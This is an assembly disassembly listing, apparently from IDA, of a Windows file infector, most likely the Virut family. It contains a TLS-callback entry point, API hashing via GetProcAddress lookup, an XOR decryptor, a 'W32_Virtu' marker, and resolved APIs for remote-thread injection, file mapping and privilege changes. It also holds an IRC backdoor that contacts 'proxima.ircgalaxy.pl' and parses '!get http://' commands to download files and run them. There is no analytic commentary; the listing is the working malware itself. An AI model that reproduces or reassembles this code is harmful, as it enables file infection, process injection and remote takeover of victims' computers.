loc_47604B:				; CODE XREF: y3hmw1t3:0047605Cj
					; y3hmw1t3:0047606Fj ...
		add	ebx, eax
		add	[ebx], ecx
		add	ebx, 4
		lodsb
		cmp	al, 0FEh
		jnb	short loc_47605E
		and	eax, 0FFh
		jmp	short loc_47604B
; ---------------------------------------------------------------------------

loc_47605E:				; CODE XREF: y3hmw1t3:00476055j
		add	ebx, 0FEh
		or	eax, eax
		jp	short loc_476071
		lodsw
		and	eax, 0FFFFh
		jmp	short loc_47604B
; ---------------------------------------------------------------------------

loc_476071:				; CODE XREF: y3hmw1t3:00476066j
		lodsd
		dec	esi
		and	eax, 0FFFFFFh
		cmp	eax, 0FFFFFFh
		jnz	short loc_47604B
		pop	eax

loc_476080:				; CODE XREF: y3hmw1t3:00476038j
					; y3hmw1t3:00476046j
		pop	ebx
		pop	ecx
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 95h,	34h, 36h
		dd 33942A65h, 59B35537h, 0BCD7AFCBh, 8F1F9DF7h,	0E835CF8Fh
		dd 5ECE6CBFh, 0B2D6C253h, 0D13B5D4h, 6554F0D4h,	6B300247h
		dd 79D26E23h, 565D9329h, 7917A59Bh, 0C7C041E5h,	0F15188A0h
		dd 0FFCEBDC7h, 0FEF7E87Ah, 3E05FFFFh, 0FF000009h
		db 0E0h

; =============== S U B	R O U T	I N E =======================================


		public TlsCallback_0

TlsCallback_0	proc near		; DATA XREF: y3hmw1t3:TlsCallbackso
		call	sub_475FC5
		add	eax, 2508h
		jmp	eax
TlsCallback_0	endp

; ---------------------------------------------------------------------------

loc_4760E1:				; CODE XREF: y3hmw1t3:0047603Cp
		call	sub_4761DF
		call	far ptr	3E15h:1D004733h
		push	cs
		or	cl, [esi]
		or	[edi+eax+29h], ecx
		daa
		sbb	[ebx+48083F09h], dx
		or	[eax+707102Dh],	al
		or	edx, [edx]
		or	[edx], edx
		sub	[edx], ebx
		jo	short near ptr loc_476111+1
		db	26h
		pop	es
		db	3Eh
		daa
		xor	edx, [edx]
		pusha

loc_476111:				; CODE XREF: y3hmw1t3:00476108j
		add	eax, 250C07A9h
		push	ds
		adc	[ecx+0Bh], ch
		db	26h
		pop	es
		or	[edi], ah
		pop	eax
		adc	[esi], al
		and	[ecx], al
		pop	es
		and	[edx], bl
		imul	esi, [edi], 15h
		cmp	ecx, [eax]
		adc	[edi], bl
		xor	ah, [eax]
		insb
		add	[eax], ebp
		sbb	[esi], ah
		pop	eax
; ---------------------------------------------------------------------------
		db 8Fh,	9, 8
		dd 3030303h, 841C1B27h,	1E310AA5h, 2D620B07h, 100F6E0Eh
		dd 0F08B906h, 5F02530Eh, 1A112906h, 2D320705h, 116A0901h
		dd 3D130186h, 530A7A12h, 3007655Fh, 2E1C0821h, 0C234333h
		dd 12078E10h, 27174A27h, 291D4C01h, 23210D97h, 1D5C0706h
		dd 0A1070D10h, 1025080Ch, 4D63072Ch, 1322949h, 4814070Ah
		dd 2731253Ah, 424C0631h, 88F5B33h, 3B54614Eh, 1C0B7230h
		dd 0C413D20h, 370C3D10h, 280D0E0Eh, 35392048h, 9482619h
		dd 0B0E4B27h, 0C6E3B2Ah, 831C2E0Eh, 165242Bh, 8B530B17h
		dd 0FF0B3F04h
		db 3 dup(0FFh)

; =============== S U B	R O U T	I N E =======================================



sub_4761DF	proc near		; CODE XREF: y3hmw1t3:loc_4760E1p
		pop	esi
		retn
sub_4761DF	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 2
		dw 0B334h
		dd 0FD1D293h, 0C52D18C6h, 0D62CA382h, 5F76C41Ah, 3B2B33CFh
		dd 648D8CF5h, 16FFD31Eh, 380h dup(0)
y3hmw1t3	ends

; Section 8. (virtual address 00077000)
; Virtual size			: 00007000 (  28672.)
; Section size in file		: 00007000 (  28672.)
; Offset to raw	data for section: 00077000
; Flags	E0000060: Text Data Executable Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
gwlw3lo_	segment	para public 'CODE' use32
		assume cs:gwlw3lo_
		;org 477000h
		assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
		dd 4F000h, 10h,	37C437C0h, 380437D4h, 5E000h, 0Ch, 3EE2h
		dd 60000h, 0Ch,	3B28h, 61000h, 10h, 38C43812h, 3F3h dup(0)

; =============== S U B	R O U T	I N E =======================================


		public start

start		proc near

var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		call	$+5
		push	ebp
		mov	ebx, [esp+8]
		mov	ebp, [esp+8+var_4]
		sub	[esp+8+var_4], 1F3Ch
		and	ebx, 0FFFFF000h
		sub	ebp, 401005h

loc_478022:				; CODE XREF: start+3Dj
		cmp	dword ptr [ebx+4Eh], 73696854h
		jnz	short loc_478037
		mov	eax, [ebx+3Ch]
		add	eax, ebx
		cmp	word ptr [eax],	4550h
		jz	short loc_47803F

loc_478037:				; CODE XREF: start+29j
		sub	ebx, 100h
		jmp	short loc_478022
; ---------------------------------------------------------------------------

loc_47803F:				; CODE XREF: start+35j
		mov	edx, [eax+78h]
		add	edx, ebx
		mov	esi, [edx+20h]
		mov	ecx, [edx+18h]
		add	esi, ebx
		push	ecx

loc_47804D:				; CODE XREF: start:loc_478074j
		lodsd
		add	eax, ebx
		cmp	dword ptr [eax-1], 74654700h
		jnz	short loc_478074
		cmp	dword ptr [eax+3], 636F7250h
		jnz	short loc_478074
		cmp	dword ptr [eax+7], 72646441h
		jnz	short loc_478074
		cmp	dword ptr [eax+0Bh], 737365h
		jz	short loc_478079

loc_478074:				; CODE XREF: start+57j	start+60j ...
		loop	loc_47804D
		pop	ecx
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_478079:				; CODE XREF: start+72j
		sub	[esp+0Ch+var_C], ecx
		mov	esi, [edx+24h]
		pop	ecx
		add	esi, ebx
		movzx	eax, word ptr [esi+ecx*2]
		mov	edi, [edx+1Ch]
		add	edi, ebx
		mov	esi, [edi+eax*4]
		add	esi, ebx
		call	near ptr loc_47809F+2
		inc	ebx
		insb
		outsd
		jnb	short near ptr loc_4780FD+2
		dec	eax
		popa
		outsb
		db	64h
		insb

loc_47809F:				; CODE XREF: start+90p
		add	gs:[ebx-1], dl
start		endp ; sp-analysis failed

		setalc
		mov	[ebp+402407h], eax
		call	near ptr loc_4780BB+1
		inc	ebx
		jb	short loc_478117
		popa
		jz	short loc_47811A
		inc	ebp
		jbe	short near ptr loc_47811C+1
		outsb
		jz	short near ptr loc_4780FA+2

loc_4780BB:				; CODE XREF: gwlw3lo.:004780AAp
		add	[ebx-1], dl
		setalc
		mov	[ebp+40240Bh], eax
		call	sub_4780D7
		inc	edi
		db	65h
		jz	short loc_47811A
		popa
		jnb	short sub_478145
		inc	ebp
		jb	short near ptr sub_478145+1
		outsd
		jb	short $+2

; =============== S U B	R O U T	I N E =======================================



sub_4780D7	proc near		; CODE XREF: gwlw3lo.:004780C5p

; FUNCTION CHUNK AT 00478155 SIZE 0000008D BYTES
; FUNCTION CHUNK AT 00478271 SIZE 000000DD BYTES

		push	ebx
		call	esi
		mov	[ebp+40240Fh], eax
		call	sub_47812A
		test	eax, eax
		jz	short loc_47810A
		push	eax
		call	dword ptr [ebp+40240Fh]
		test	eax, eax
		jnz	short loc_478104
		lea	eax, [ebp+401155h]

loc_4780FA:				; CODE XREF: gwlw3lo.:004780B9j
		mov	dl, [eax-1]

loc_4780FD:				; CODE XREF: start+98j
		call	sub_478145
		jmp	short loc_478155
; ---------------------------------------------------------------------------

loc_478104:				; CODE XREF: sub_4780D7+1Bj
					; sub_4780D7+E7j ...
		call	dword ptr [ebp+402407h]

loc_47810A:				; CODE XREF: sub_4780D7+10j
		pop	ebp
		retn
sub_4780D7	endp

; ---------------------------------------------------------------------------

loc_47810C:				; CODE XREF: sub_47812A+2p
					; sub_4780D7:loc_4782E1p
		pop	edx
		push	0
		push	0
		push	0
		push	0
; ---------------------------------------------------------------------------
		db 68h,	1
; ---------------------------------------------------------------------------

loc_478117:				; CODE XREF: gwlw3lo.:004780B0j
		add	[eax+eax], al

loc_47811A:				; CODE XREF: gwlw3lo.:004780B3j
					; gwlw3lo.:004780CBj
		mov	eax, esp

loc_47811C:				; CODE XREF: gwlw3lo.:004780B6j
		push	0
		push	eax
		push	0Ch
		mov	eax, esp
		jmp	edx
; ---------------------------------------------------------------------------
		push	esi
		push	esp
		pop	edi
		xor	eax, [eax]

; =============== S U B	R O U T	I N E =======================================



sub_47812A	proc near		; CODE XREF: sub_4780D7+9p
					; gwlw3lo.:loc_478CDCp
		xor	ecx, ecx
		call	loc_47810C
		lea	edx, [ebp+401125h]
		push	edx
		push	ecx
		push	ecx
		push	eax
		call	dword ptr [ebp+40240Bh]
		add	esp, 20h
		retn
sub_47812A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_478145	proc near		; CODE XREF: gwlw3lo.:004780CFj
					; sub_4780D7:loc_4780FDp ...
		mov	dh, dl
		mov	ecx, 12B2h

loc_47814C:				; CODE XREF: sub_478145+Cj
		xor	[eax], dl
		inc	eax
		add	dl, dh
		loop	loc_47814C
		retn
sub_478145	endp

; ---------------------------------------------------------------------------
		db 0E6h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4780D7

loc_478155:				; CODE XREF: sub_4780D7+2Bj
		and	dword ptr [ebp+401480h], 0
		and	dword ptr [ebp+401484h], 0
		and	dword ptr [ebp+401488h], 0
		push	edi
		mov	byte ptr [ebp+401262h],	1
		mov	dword ptr ss:loc_402413[ebp], esi
		lea	esi, [ebp+4014A9h]
		xor	ecx, ecx
		lea	edi, [ebp+402423h]
		mov	cl, 1Ch
		call	sub_47848C
		pop	edi
		call	dword ptr [ebp+40245Bh]
		shr	eax, 1Fh
		jz	loc_478271
		mov	eax, [edi+14h]
		push	40h
		add	eax, ebx
		push	8001000h
		mov	dword ptr ss:loc_40241B[ebp], eax
		push	5839h
		push	0
		call	dword ptr [ebp+40248Bh]
		test	eax, eax
		jz	loc_478104
		xchg	eax, edi
		lea	esi, sub_401000[ebp]
		mov	ebp, edi
		mov	ecx, 60Fh
		sub	ebp, offset sub_401000
		lea	edx, loc_4011E2[ebp]
		rep movsd
		jmp	edx
; END OF FUNCTION CHUNK	FOR sub_4780D7
; ---------------------------------------------------------------------------
		sub	esp, 20h
		mov	edi, esp
		push	8
		xor	eax, eax
		pop	ecx
		lea	edx, [ebp+4018D1h]
		rep stosd
		mov	edi, esp
		mov	[edi+10h], edx
		inc	byte ptr [edi+1Ch]
		push	edi
		push	10003h
		call	dword ptr ss:loc_40241B[ebp]
		add	esp, 20h
		test	eax, eax
		jz	loc_478104
		xchg	eax, edi
		push	0
		push	1
		push	80000400h
		push	10000h
		call	dword ptr ss:loc_40241B[ebp]
		test	eax, eax
		jz	loc_478104
		push	0
		push	eax
		push	40000h
		push	0
		shr	eax, 0Ch
		push	edi
		push	1
		push	eax
		push	10001h
		call	dword ptr ss:loc_40241B[ebp]
		push	1000Ah
		call	dword ptr ss:loc_40241B[ebp]
		call	sub_478261
		jmp	loc_478104

; =============== S U B	R O U T	I N E =======================================



sub_478261	proc near		; CODE XREF: gwlw3lo.:00478257p
					; sub_478261+Dj
		push	1
		pop	ecx
		jecxz	short locret_478270
		push	0Ah
		call	dword ptr [ebp+402483h]
		jmp	short sub_478261
; ---------------------------------------------------------------------------

locret_478270:				; CODE XREF: sub_478261+3j
		retn
sub_478261	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4780D7

loc_478271:				; CODE XREF: sub_4780D7+C0j
		cmp	dword ptr [ebp+40243Bh], 0
		jz	loc_478104
		call	near ptr loc_478288+1
		dec	esi
		push	esp
		inc	esp
		dec	esp
		dec	esp

loc_478288:				; CODE XREF: sub_4780D7+1A7p
		add	bh, bh
		xchg	eax, ebp
		dec	edi
		and	al, 40h
		add	[ebp+401637B5h], cl
		add	[ebx], dh
		leave
		lea	edi, loc_402493[ebp]
		mov	cl, 9
		xchg	eax, ebx
		call	sub_47848C
		cmp	dword ptr ss:loc_4024B3[ebp], 0
		jz	loc_478104
		mov	eax, dword ptr ss:loc_402497[ebp]
		push	dword ptr [eax+1]
		pop	dword ptr [ebp+4023C1h]
		mov	eax, [ebp+40249Bh]
		push	dword ptr [eax+1]
		pop	dword ptr ss:loc_4023C7[ebp]
		mov	ecx, [ebp+40249Fh]
		jecxz	short loc_4782E1
		push	dword ptr [ecx+1]
		pop	dword ptr ss:loc_4023D4[ebp]

loc_4782E1:				; CODE XREF: sub_4780D7+1FFj
		call	loc_47810C
		lea	edx, [ebp+40149Fh]
		push	edx
		push	5839h
		push	0
		push	4
		push	eax
		push	0FFFFFFFFh
		call	dword ptr [ebp+40242Bh]
		add	esp, 20h
		push	5839h
		mov	edx, esp
		push	0
		mov	ecx, esp
		push	4
		push	0
		push	2
		push	edx
		push	0
		push	5839h
		push	0
		push	ecx
		push	0FFFFFFFFh
		push	eax
		call	dword ptr ss:loc_4024A3[ebp]
		pop	edi
		pop	ecx
		test	edi, edi
		jz	loc_478104
		lea	esi, sub_401000[ebp]
		mov	ecx, 60Fh
		mov	ebp, edi
		rep movsd
		sub	ebp, offset sub_401000
		lea	eax, [ebp+40134Eh]
		jmp	eax
; END OF FUNCTION CHUNK	FOR sub_4780D7
; ---------------------------------------------------------------------------
		dw 958Dh
		dd 401789h, 6395FF52h, 0E8004024h, 16h
aLookupprivileg	db 'LookupPrivilegeValueA',0
		dw 0FF50h
		dd 40241395h, 17858900h, 50004024h, 6A206A54h, 0A795FFFFh
		dd 85004024h, 3F755FC0h, 56026A96h, 6AD48B56h, 11E85201h
		dd 53000000h, 62654465h, 72506775h, 6C697669h, 656765h
		dd 1795FF56h, 8B004024h, 565656C4h, 0FF575650h,	40249395h
		dd 10C48300h, 795FF57h,	6A004024h, 0FF026A00h, 40243B95h
		dd 128B900h, 2B970000h,	240C89E1h, 95FF5754h, 402473h
		dd 0A583F633h, 4024F7h,	0FF575400h, 40247795h, 74C08500h
		dd 0FE83465Ch, 0FFEE7204h, 6A082474h, 0FF2A6A00h, 40246F95h
		dd 74C08500h, 0E4E893DCh, 33000003h, 30E391C9h,	24F78539h
		dd 28750040h, 0C3EC181h, 54500000h, 50515650h, 95FF5350h
		dd 402433h, 7459C085h, 2474FF0Fh, 0F7858F08h, 0E8004024h
		dd 0FFFFFE09h, 795FF53h, 0EB004024h, 28C48198h,	57000001h
		dd 240795FFh, 91E90040h, 90FFFFFCh, 585858h, 1839h, 0BF4h
		dd 3 dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_47848C	proc near		; CODE XREF: sub_4780D7+B1p
					; sub_4780D7+1C9p ...
		push	ecx
		push	esi
		push	ebx
		call	dword ptr ss:loc_402413[ebp]
		stosd
		pop	ecx

loc_478497:				; CODE XREF: sub_47848C+Ej
		lodsb
		test	al, al
		jnz	short loc_478497
		loop	sub_47848C
		retn
sub_47848C	endp

; ---------------------------------------------------------------------------
aW32_virtu	db 'W32_Virtu',0
aLstrlen	db 'lstrlen',0
aCreatefilea	db 'CreateFileA',0
aCreatefilemapp	db 'CreateFileMappingA',0
aCreateprocessa	db 'CreateProcessA',0
aCreateremoteth	db 'CreateRemoteThread',0
aCreatethread	db 'CreateThread',0
aCreatetoolhe_0	db 'CreateToolhelp32Snapshot',0
aExitthread	db 'ExitThread',0
aGetfileattribu	db 'GetFileAttributesA',0
aGetfilesize	db 'GetFileSize',0
aGetfiletime	db 'GetFileTime',0
aGetmodulehandl	db 'GetModuleHandleA',0
aGettempfilenam	db 'GetTempFileNameA',0
aGettemppatha	db 'GetTempPathA',0
aGetversion	db 'GetVersion',0
aGetversionexa	db 'GetVersionExA',0
aLoadlibrarya	db 'LoadLibraryA',0
aMapviewoffile	db 'MapViewOfFile',0
aOpenfilemappin	db 'OpenFileMappingA',0
aOpenprocess_0	db 'OpenProcess',0
aProcess32fir_0	db 'Process32First',0
aProcess32nex_0	db 'Process32Next',0
aSetfileattribu	db 'SetFileAttributesA',0
aSetfiletime	db 'SetFileTime',0
aSleep		db 'Sleep',0
aUnmapviewoffil	db 'UnmapViewOfFile',0
aVirtualalloc	db 'VirtualAlloc',0
aWritefile	db 'WriteFile',0
aNtadjustprivil	db 'NtAdjustPrivilegesToken',0
aNtcreatefile	db 'NtCreateFile',0
aNtcreateproces	db 'NtCreateProcess',0
aNtcreateproc_0	db 'NtCreateProcessEx',0
aNtmapviewofsec	db 'NtMapViewOfSection',0
aNtopenprocesst	db 'NtOpenProcessToken',0
aNtprotectvirtu	db 'NtProtectVirtualMemory',0
aNtwritevirtual	db 'NtWriteVirtualMemory',0
aRtlunicodestri	db 'RtlUnicodeStringToAnsiString',0
aWsastartup	db 'WSAStartup',0
aClosesocket	db 'closesocket',0
aConnect	db 'connect',0
aGethostbyname	db 'gethostbyname',0
aRecv		db 'recv',0
aSend		db 'send',0
aSocket		db 'socket',0
aInternetcloseh	db 'InternetCloseHandle',0
aInternetgetcon	db 'InternetGetConnectedState',0
aInternetopena	db 'InternetOpenA',0
aInternetopenur	db 'InternetOpenUrlA',0
aInternetreadfi	db 'InternetReadFile',0
aAdvapi32_dll	db 'ADVAPI32.DLL',0
aRegclosekey	db 'RegCloseKey',0
aRegopenkeyexa	db 'RegOpenKeyExA',0
aRegqueryvaluee	db 'RegQueryValueExA',0
aRegsetvalueexa	db 'RegSetValueExA',0

; =============== S U B	R O U T	I N E =======================================



sub_4787D0	proc near		; CODE XREF: gwlw3lo.:00478873p
					; gwlw3lo.:00478884p ...

var_5		= byte ptr -5

		sub	ecx, 5
		sub	ecx, eax
		push	ecx
		push	0E8000000h
		lea	ecx, [esp+8+var_5]
		push	0
		push	5
		push	ecx
		push	eax
		push	ebx
		push	5
		mov	ecx, esp
		push	eax
		mov	edx, esp
		push	eax
		push	esp
		push	40h
		push	ecx
		push	edx
		push	ebx
		call	dword ptr [ebp+4024ABh]
		add	esp, 0Ch
		call	dword ptr ss:loc_4024AF[ebp]
		add	esp, 8
		retn
sub_4787D0	endp

; ---------------------------------------------------------------------------
		push	edi
		lea	eax, [ebp+40149Fh]
		xor	edi, edi
		push	eax
		push	0
		push	6
		call	dword ptr [ebp+40246Bh]
		test	eax, eax
		jz	short loc_47889E
		push	eax
		push	5839h
		mov	edx, esp
		push	0
		mov	ecx, esp
		push	4
		push	100000h
		push	2
		push	edx
		push	0
		push	5839h
		push	0
		push	ecx
		push	ebx
		push	eax
		call	dword ptr ss:loc_4024A3[ebp]
		pop	edi
		pop	ecx
		call	dword ptr [ebp+402407h]
		test	edi, edi
		jz	short loc_47889E
		mov	ecx, [ebp+401488h]
		jecxz	short loc_478867
		lea	edx, sub_401000[ebp]
		add	edx, ecx
		push	edi
		push	ebx
		call	edx

loc_478867:				; CODE XREF: gwlw3lo.:00478859j
		mov	eax, dword ptr ss:loc_402497[ebp]
		lea	ecx, [edi+1379h]
		call	sub_4787D0
		mov	eax, [ebp+40249Bh]
		lea	ecx, [edi+13C6h]
		call	sub_4787D0
		mov	eax, [ebp+40249Fh]
		test	eax, eax
		jz	short loc_47889E
		lea	ecx, [edi+13D3h]
		call	sub_4787D0

loc_47889E:				; CODE XREF: gwlw3lo.:0047881Dj
					; gwlw3lo.:00478851j ...
		mov	eax, edi
		pop	edi
		retn
; ---------------------------------------------------------------------------
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 4018A8h
		xor	ecx, ecx
		lea	eax, [ebp+401C3Eh]
		push	ecx
		push	esp
		push	ecx
		push	ecx
		push	eax
		push	ecx
		push	ecx
		call	dword ptr ss:loc_402437[ebp]
		xchg	eax, [esp]
		call	dword ptr [ebp+402407h]
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------
		db 55h,	0E8h, 0
		dd 5D000000h, 18D7ED81h, 0FF6A0040h, 18A2958Dh,	52500040h
		dd 2420CDh, 0C483002Ah,	85C7660Ch, 4018E8h, 85C720CDh
		dd 4018EAh, 2A0024h, 16AC35Dh, 33FF016Ah, 0FF0473FFh, 74C08515h
		dd 0B68F0h, 0D08B0000h,	3C50035Bh, 1906B58Dh, 0BA8B0040h
		dd 10Ch, 1088A8Bh, 0F8030000h, 8B60CB2Bh, 61A6F3CBh, 0E2470574h
		dd 83C2EBF5h, 8B570FC7h, 0CC8B53D4h, 406A5450h,	0FF6A5251h
		dd 24AB95FFh, 0C4830040h, 3F958B0Ch, 2B004024h,	7EA83D7h
		dd 6A07C7h, 578900E8h, 9569C303h, 402501h, 8088405h, 0B042C033h
		dd 195891Ah, 0F7004025h, 61428DE2h, 75C9FEAAh, 0E855C3E1h
		dd 0
; ---------------------------------------------------------------------------
		pop	ebp
		sub	ebp, offset loc_401998
		mov	ebx, dword ptr ss:loc_402505[ebp]
		cmp	dword ptr [esp+8], 0
		jz	loc_478A69
		sub	esp, 208h
		push	esp
		push	104h
		call	dword ptr [ebp+402457h]
		mov	edi, esp
		lea	eax, [esp+104h]
		push	eax
		push	0
		call	near ptr loc_4789D6+1
		push	esi
		push	edx
		push	esp

loc_4789D6:				; CODE XREF: gwlw3lo.:004789CEp
		add	[edi-1], dl
		xchg	eax, ebp
		push	ebx
		and	al, 40h
		add	[ebx], dh
		leave
		lea	edx, [edi+104h]
		push	ecx
		push	ecx
		push	2
		push	ecx
		push	1
		push	40000000h
		push	edx
		call	dword ptr [ebp+402427h]
		xchg	eax, esi
		test	esi, esi
		jz	short loc_478A59

loc_4789FE:				; CODE XREF: gwlw3lo.:00478A2Cj
		push	eax
		push	esp
		push	104h
		push	edi
		push	dword ptr [esp+220h]
		call	dword ptr ss:loc_4024E3[ebp]
		pop	ecx
		test	eax, eax
		jz	short loc_478A2E
		jecxz	short loc_478A2E
		push	eax
		mov	edx, esp
		push	0
		push	edx
		push	ecx
		push	edi
		push	esi
		call	dword ptr [ebp+40248Fh]
		pop	ecx
		test	eax, eax
		jnz	short loc_4789FE

loc_478A2E:				; CODE XREF: gwlw3lo.:00478A16j
					; gwlw3lo.:00478A18j
		push	esi
		call	dword ptr [ebp+402407h]
		lea	edx, [edi+44h]
		push	edx
		push	edi
		push	44h
		pop	eax
		lea	edx, [edi+104h]
		stosd
		xor	eax, eax
		push	10h
		pop	ecx
		rep stosd
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	edx
		call	dword ptr [ebp+40242Fh]

loc_478A59:				; CODE XREF: gwlw3lo.:004789FCj
		add	esp, 208h
		push	dword ptr [esp+8]
		call	dword ptr [ebp+4024D3h]

loc_478A69:				; CODE XREF: gwlw3lo.:004789AAj
		push	ebx
		call	dword ptr [ebp+4024D3h]
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------
		cmp	byte ptr [esi],	0Ah
		jnz	short loc_478A7A
		inc	esi

loc_478A7A:				; CODE XREF: gwlw3lo.:00478A77j
		mov	ecx, [ebp+401484h]
		jecxz	short loc_478A9B
		lea	edx, sub_401000[ebp]
		add	edx, ecx
		push	esi
		call	edx
		test	al, al
		js	loc_478BB4
		jz	loc_478BAB

loc_478A9B:				; CODE XREF: gwlw3lo.:00478A80j
		cmp	byte ptr [esi],	3Ah
		jnz	short loc_478AB0

loc_478AA0:				; CODE XREF: gwlw3lo.:00478AADj
		inc	esi
		cmp	byte ptr [esi],	0
		jz	loc_478BAB
		cmp	byte ptr [esi],	20h
		jnz	short loc_478AA0
		inc	esi

loc_478AB0:				; CODE XREF: gwlw3lo.:00478A9Ej
		cmp	dword ptr [esi], 474E4950h
		jnz	short loc_478AFA
		mov	ecx, edi
		mov	byte ptr [esi+1], 4Fh
		sub	ecx, esi
		push	ecx
		push	0
		push	ecx
		push	esi
		push	ebx
		call	dword ptr ss:loc_4024CB[ebp]
		pop	ecx
		cmp	eax, ecx
		jnz	loc_478BB4
		lea	eax, [ebp+401C32h]
		push	0
		push	0Ch
		push	eax
		push	ebx
		call	dword ptr ss:loc_4024CB[ebp]
		cmp	eax, 0Ch
		jnz	loc_478BB4
		jmp	loc_478BAB
; ---------------------------------------------------------------------------

loc_478AFA:				; CODE XREF: gwlw3lo.:00478AB6j
		cmp	dword ptr [esi], 56495250h
		jnz	loc_478BAB
		add	esi, 8

loc_478B09:				; CODE XREF: gwlw3lo.:00478B14j
		lodsb
		cmp	al, 0Dh
		jz	loc_478BAB
		cmp	al, 20h
		jnz	short loc_478B09
		lodsb
		cmp	al, 3Ah
		jnz	loc_478BAB
		lodsd
		or	eax, 20202020h
		cmp	eax, 74656721h
		jnz	short loc_478BAB
		lodsb
		cmp	al, 20h
		jnz	short loc_478BAD
		cmp	dword ptr [esi-1], 74746820h
		jnz	short loc_478BAB
		cmp	dword ptr [esi+3], 2F2F3A70h
		jnz	short loc_478BAB
		mov	byte ptr [edi-1], 0
		rdtsc
		mov	edx, 2710h
		mul	edx
		push	edx
		call	dword ptr [ebp+402483h]
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		call	near ptr loc_478B69+2
		inc	esp
		outsd
		ja	short loc_478BD4
		insb
		outsd
		popa

loc_478B69:				; CODE XREF: gwlw3lo.:00478B5Dp
		db	64h
		add	bh, bh
		xchg	eax, ebp
; ---------------------------------------------------------------------------
		db 0DBh, 24h, 40h
		dd 74C08500h, 89C93336h, 40250585h, 685100h, 51800002h
		dd 0FF505651h, 4024DF95h, 92958D00h, 50004019h,	5154C933h
		dd 51515250h, 243795FFh, 4870040h, 795FF24h
		db 24h,	40h, 0
; ---------------------------------------------------------------------------

loc_478BAB:				; CODE XREF: gwlw3lo.:00478A95j
					; gwlw3lo.:00478AA4j ...
		clc
		retn
; ---------------------------------------------------------------------------

loc_478BAD:				; CODE XREF: gwlw3lo.:00478B2Fj
		or	byte ptr [ebp+401477h],	1

loc_478BB4:				; CODE XREF: gwlw3lo.:00478A8Fj
					; gwlw3lo.:00478ACFj ...
		stc
		retn
; ---------------------------------------------------------------------------
		dw 4F53h
		dd 41575446h, 4D5C4552h, 6F726369h, 74666F73h, 6E69575Ch
		dd 73776F64h, 7275435Ch
; ---------------------------------------------------------------------------

loc_478BD4:				; CODE XREF: gwlw3lo.:00478B64j
		jb	short near ptr loc_478C3A+1
		outsb
		jz	short loc_478C2F
		db	65h
		jb	short near ptr loc_478C4B+4
		imul	ebp, [edi+6Eh],	7078455Ch
		insb
		outsd
		jb	short near ptr loc_478C4B+1
		jb	short $+2
		push	ebp
		outsb
		imul	esi, [ecx+75h],	736F4865h
		jz	short $+2
		add	al, [eax]
		push	eax
; ---------------------------------------------------------------------------
		dd 0
aProxima_ircgal	db 'proxima.ircgalaxy.pl',0
		db 4Eh,	49h, 43h
		dd 6667204Bh, 65696875h, 550A786Ah, 20524553h, 3032306Ch
		dd 20303035h
; ---------------------------------------------------------------------------
		and	cs:[esi], ch

loc_478C2F:				; CODE XREF: gwlw3lo.:00478BD7j
		and	[edx], bh
		pop	edi
		dec	edx
		dec	edi
		dec	ecx
		dec	esi
		and	[esi], ah
		jbe	short near ptr loc_478CA2+1

loc_478C3A:				; CODE XREF: gwlw3lo.:loc_478BD4j
		jb	short near ptr loc_478CAF+1
		jnz	short near ptr loc_478C45+3
		push	ebp
		call	$+5
		pop	ebp

loc_478C45:				; CODE XREF: gwlw3lo.:00478C3Cj
		sub	ebp, 401C44h

loc_478C4B:				; CODE XREF: gwlw3lo.:00478BE5j
					; gwlw3lo.:00478BD9j
		mov	byte ptr [ebp+401477h],	0
		call	dword ptr [ebp+40245Bh]
		shr	eax, 1Fh
		jz	short loc_478C99
		push	1Eh
		mov	esi, dword ptr ss:loc_40241B[ebp]
		pop	ecx

loc_478C66:				; CODE XREF: gwlw3lo.:loc_478C95j
		lodsb
		cmp	al, 2Eh
		jnz	short loc_478C95
		cmp	word ptr [esi],	1DFFh
		jnz	short loc_478C95
		lea	edi, loc_4024FB[ebp]
		mov	esi, [esi+2]
		push	edi
		movsd
		movsw
		lea	eax, loc_40234F[ebp]
		pop	dword ptr ss:loc_402375[ebp]
		cli
		mov	[esi-6], eax
		mov	word ptr [esi-2], cs
		sti
		mov	cl, 1

loc_478C95:				; CODE XREF: gwlw3lo.:00478C69j
					; gwlw3lo.:00478C70j
		loop	loc_478C66
		jmp	short loc_478CDC
; ---------------------------------------------------------------------------

loc_478C99:				; CODE XREF: gwlw3lo.:00478C5Bj
		lea	eax, [ebp+40149Fh]
		push	eax
		push	0

loc_478CA2:				; CODE XREF: gwlw3lo.:00478C38j
		push	6
		call	dword ptr [ebp+40246Bh]
		cmp	dword ptr [esp+8], 4

loc_478CAF:				; CODE XREF: gwlw3lo.:loc_478C3Aj
		jnz	short loc_478CDC
		call	near ptr loc_478CB9+1
		push	ebx
		inc	esi
		inc	ebx

loc_478CB9:				; CODE XREF: gwlw3lo.:00478CB1p
		add	bh, bh
		xchg	eax, ebp
		dec	edi
		and	al, 40h
		add	al, ch
		dec	esp
		cld
; ---------------------------------------------------------------------------
		db 0FFh
		dd 7E8FFh, 46530000h, 534F5F43h, 4F95FF00h, 0E8004024h
		dd 0FFFFFC35h
; ---------------------------------------------------------------------------

loc_478CDC:				; CODE XREF: gwlw3lo.:00478C97j
					; gwlw3lo.:loc_478CAFj
		call	sub_47812A
		dec	dword ptr [ebp+401262h]
		call	near ptr loc_478CF6+1
		push	ebp
		push	ebx
		inc	ebp
		push	edx
		xor	esi, [edx]
		db	2Eh
		inc	esp
		dec	esp
		dec	esp

loc_478CF6:				; CODE XREF: gwlw3lo.:00478CE7p
		add	bh, bh
		xchg	eax, ebp
		arpl	[eax+eax*2], sp
		add	al, ch
		or	al, [eax]
; ---------------------------------------------------------------------------
		dd 73770000h, 6E697270h, 416674h, 1395FF50h, 89004024h
		dd 40241F85h, 8D310F00h, 4017898Dh, 1858900h, 51004025h
